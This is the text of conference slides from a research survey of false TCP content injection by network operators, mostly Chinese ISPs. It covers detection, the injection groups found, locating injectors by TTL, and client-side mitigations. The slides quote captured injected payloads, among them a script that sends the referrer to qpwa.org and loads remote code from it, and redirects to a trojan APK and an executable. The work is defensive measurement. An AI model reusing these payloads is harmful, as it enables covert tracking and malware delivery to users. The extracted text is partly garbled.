TCP INJECTION ATTACKSIN THE WILD
A large-scale survey of false content injection by network operators (andothers…)
Gabi Nakibly1,2, Jaime Schcolnik3 and Yossi Rubin1
12

3

INTRODUCTION• A fellow at the National Cyber and Electronics ResearchCenter• Operated by Rafael – Advanced Defense Systems ltd.

• Senior adjunct lecturer and research associate at theTechnion – Israel institute of technology.
• I mostly do network security research.

AGENDA• What are TCP Injections?
• How TCP injections can be detected?
• The networks we monitored• The injection events we found and their analysis• Who are behind the injections?
• Proposed client-side mitigation measures

TCP INJECTION - DEFINITION• The addition of a forged TCP packet to an existing TCP session.
• Can only be performed on unsecured sessions (not HTTPS).
• Generally, the injector is on-path. For example:• ISP• Government• Compromised router• The injector does NOT drop or update the legitimate packets.
• “Out-of-band”

TCP INJECTION IS NOT NEW!
• This technique has been reported to be used in the past to:• Throttle peer-to-peer traffic (TCP RST injection)• Censorship (HTTP 404/403 injection)• QUANTUM attacks by the NSA

TCP INJECTION – MODUS OPERANDI

ourmonitoringpointsq#=350

150 bytes

sq#=350
sq#=0sq#=250

150bytes
250bytes
100bytes

TCP INJECTION DETECTION

sq#=350

Forged bytes

sq#=350

Valid bytes• TCP injection has occurred if there are two packets that have:• Identical IP addresses and port numbers,• Identical TCP sequence number,• But, have different payload.

OUT-OF-BAND INJECTIONS• Question: If the ISP already sits on the data path why it doesn’t drop thelegitimate packet?
• Answer: performance and reliability.
• In-band:• Disadvantages: single point of failure, bottleneck.

• Out-of-band:THE NETWORKS WE MONITORED• We monitored 3 large networks for several weeks:Institution

User baseMonitoring
Traffic
period [week] volume [Tb]

Number ofsessions [Million]

University A

20,0002808University B &University C

50,000161400120Enterprise D

5,000

3240.8• In total we monitored more than 1.5 Peta-bits of data from over 1.5 million
distinct IP addresses.
• We can not reveal the identities of the networks. We signed an NDA.

THE INJECTION EVENTS• We discovered 14 different groups ofinjection events.
• Almost all of them were injections toChinese websites.
• 8 injection groups aimed to add rogue
advertisements to the website.
• 4 of injection groups has some sort ofmalicious intent.
• 2 injection groups aimed to simply block
content (however is it not censorship
related).

AD INJECTION• Examples:• CMA Comm. in 2013
• Comcast in 2012
• Mediacom in 2011
• WOW! in 2008
• ….

Rogue advertisement

EDGE VS. NON-EDGE NETWORKOPERATOR INJECTIONSnetwork operator(autonomous system )
Edge
ISP

Edge
ISP

Edge
ISP

‘ADCPC’ INJECTION• This injection group aims to inject rogue advertisements.
• This is the client’s HTTP request:
GET /core.php?show=pic&t=z HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
Host: c.cnzz.com
Accept-Encoding: gzip
Referer: http://tfkp.com/

‘ADCPC’ INJECTION
The valid HTTP response:

The injected HTTP response:

HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Content-Length: 762
Connection: keep-alive
Date: Tue, 07 Jul 2015 04:54:08 GMT
Last-Modified: Tue, 07 Jul 2015 04:54:08 GMT
Expires: Tue, 07 Jul 2015 05:09:08 GMT

HTTP/1.1 302 Found
Connection: close
Content-Length: 0Location: http://adcpc.899j.com/google/google.js!function(){varp,q,r,a=encodeURIComponent,c=...

‘JIATHIS’ INJECTION• JiaThis is a Chinese company that provides a social sharing toolbar.
• A request for a resource at jiathis.com results in the following:

The valid HTTP response:

The forged HTTP response:

HTTP/1.1 200 OK

HTTP/1.1 200 OK

Server: nginx/1.4.4

Date: May, 28 Mar 2012 14:59:17 GMT

Content-Type: text/javascript; charset=UTF-8

Server:Microsoft-IIS/6.0

Transfer-Encoding: chunked

X-Powered-By: ASP.NET

Vary: Accept-Encoding

Pragma: No-Cache

Expires: -1

Content-Length:145

Cache-Control: no-store, private, post-check=0 …

Cache-control: no-cache

Pragma: no-cacheP3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI INT ….
JiaTag: de2a570993d722c94……
Content-Encoding: gzip

A redirection toBaidu with search
results of“UNIQLO”<!DOCTYPE"http://www.w3.org/TR/html4/strict.dtd"><meta http-equiv="refresh"content="1;url=http://www.baidu.com/s?wd=UNIQLO&tn=99292781_hao_pg"/>‘DUBA’ INJECTION• The injected JS on the right pops out
the following image:(function(){var num1=20;
var div=(document.getElementsByClassName?document.getElementsByClassName('mid-recommend'):null);...
var img=div.getElementsByTagName('img');• It prompts the user to download an
AV called Kingsoft Security.

...
img.src='http://media.tianjimedia.com/images/yesky-mydown-pcrj-inp-fc21-56060-150921.gif';
img.parentNode.href='http://cd001.www.duba.net/duba/install/2011/ever/kinst_1_470.exe'...

MALICIOUS INJECTION• The previous injection groups all aimed to insert a rogue advertisement into awebsite.
• The following injection groups show strong indications of malicious intent.

‘MI-IMG’ INJECTION• The injected HTTP response redirects anAndroid device to download analternative apk.
• The IP address of the redirected URL is
known to be a bot (according toBotScout).
• We retrieved the application from this IPaddress. The downloaded apk file isflagged by Fortinet’s antivirus as amalware called ’Android/Gepew.A!tr’.
• A known Android Trojan.

HTTP/1.0 302 Found
Server: HRS/1.4.2
Content-Length: 0Content-Type: text/html
Connection: close
Cache-Control: no-cache
Location:

http://120.198.231.23/120.198.233.14/
cache/f3.market.miimg.com/download/AppStore/0484c55bb3b3d8e3c4a25d6688a35ef5b8c420cac/%E6%94%AF%E4%BB%98%E5%AE%9D_9.1.0.091801_80.apk?ich_args=0f9dd0cdd8150621052b514
876df7bdb_1048_0_0_4_854145c91e1bfc37
ce29940aca85ff84415b0f6d4bf326bbae616
2483abd84fa_f7180f62446a816afc8f10fb2
cb584b8_1_0

‘GPWA’ INJECTION

‘GPWA’ INJECTION• GPWA – Gambling Portal Webmasters Association.
• It runs a certification program to gambling sites.

• A site that meets the certification standard gets to show an GPWA seal.
• There are about 2500 GPWA approved gambling sites.

http://certify.gpwa.org/seal/online.casinocity.com/

‘GPWA’ INJECTION• The client’s HTTP request is:
GET /script/europeansoccerstatistics.com/ HTTP/1.1
Host: certify.gpwa.org
Connection: keep-alive
Accept: */*User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
Referer: http://europeansoccerstatistics.com/
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8,he;q=0.6

‘GPWA’ INJECTION (CONT.)• The injected resource.
• Refers to qpwa.org instead ofgpwa.org.
• This is not an attack by a network
operator, but by a third party
who probably compromised arouter.
• The victims of the attack hasreportedly have been shown ads
and spoofed affiliate tags.

{var i=new Image();i.src="http://qpwa.org/?q="+document.referrer;
l=localStorage;if( (document.referrer!="")&&(document.location.hostname!=document.referrer.split('/')[2]) &&(!l.g)){c=document.createElement('script');c.src='http://certify.qpwa.org/script/‘+document.location.hostname.replace('www\.','')+'/';
document.getElementsByTagName('head')[0].appendChild(c)}l.g=1;}

NON-COMMERCIAL INJECTIONS• We have encountered two types of injections which appear to becensorship related.
• Which appear to be from China’s government• The first block sites at AliCDN (a hosting company of Alibaba)• The second block various sites

NON-COMMERCIAL INJECTIONS• The two injections sends Forbidden 403 with the following response body:<html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /><style>body{background-color:#FFFFFF}</style><title>TestPage</title><script language="javascript" type="text/javascript">window.onload = function () {document.getElementById("mainFrame").src="http://119.254.95.11:9080/filter/filter.html";}</script></head><body><iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margintop:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0"
scrolling="no"></iframe></body></html>REPRODUCING THE INJECTIONS• Results: Big Fat Nothing!
• Luckily Erik Hjelmvik came to the rescue.

• We surmise that, in general, injections by on-path entities may be transient.
• Might be motivated by the desire of the injector to stay “under the radar”.

WHO ARE BEHIND THE
INJECTIONS?

Identity

Location

AutonomousSystem

WHO ARE BEHIND THE
INJECTIONS? (CONT.)• Common initial TTL values: 32, 64, 128 and 255.
• We can calculate how many hops the injected packet traversed.
• For example, if an injected packet arrived at the client having TTL=59, then mostprobably it’s initial value was 64 and it traversed 5 hops.

• Given the path between the server and the client we can pin-point theinjector’s location.

ClientServer

Estimated number of hops traversed by the forged packet

THE SUSPICIOUS AUTONOMOUSSYSTEMS• Our analysis indicates thatthe injector resides within
the AS of the injectedwebsite.
• Usually 2-5 hops away fromthe web server.

• Most injections are triggered
from Chinese operators.

MITIGATIONS• The best mitigation is HTTPS.
• However, many websites still do not support it.

CLIENT-SIDE MITIGATIONS• The na•ve approach:• Delay every incoming packet by 200msec and verify there is no other packet
races it.
• If no race is detected, accept the packet.
• Disadvantage: substantially increased load time.

• An improved approach:• Delay packets only when abnormal value of IP TTL or ID is observed. Search for arace for those packets only.
• Can be effective only against current injectors that do NOT mimic the IP TTL andID of the valid packets.

CLIENT-SIDE MITIGATIONS (CONT.)• Results:Algorithm

Load time increase

False Negative

Na•ve

120%

0%

Improved

12%

0.3%

TO CONCLUDE – BLACK HATSOUND BYTES• TCP injection is a powerful technique employed by ISPs, governments andattackers.
• Chinese ISPs add rogue advertisements to websites accessed by all Internetusers.
• When possible use your IDS to detect them.
• Use our proposed mitigation approach to block them.

• We published samples of the injections.
• http://www.cs.technion.ac.il/~gnakibly/TCPInjections/samples.zip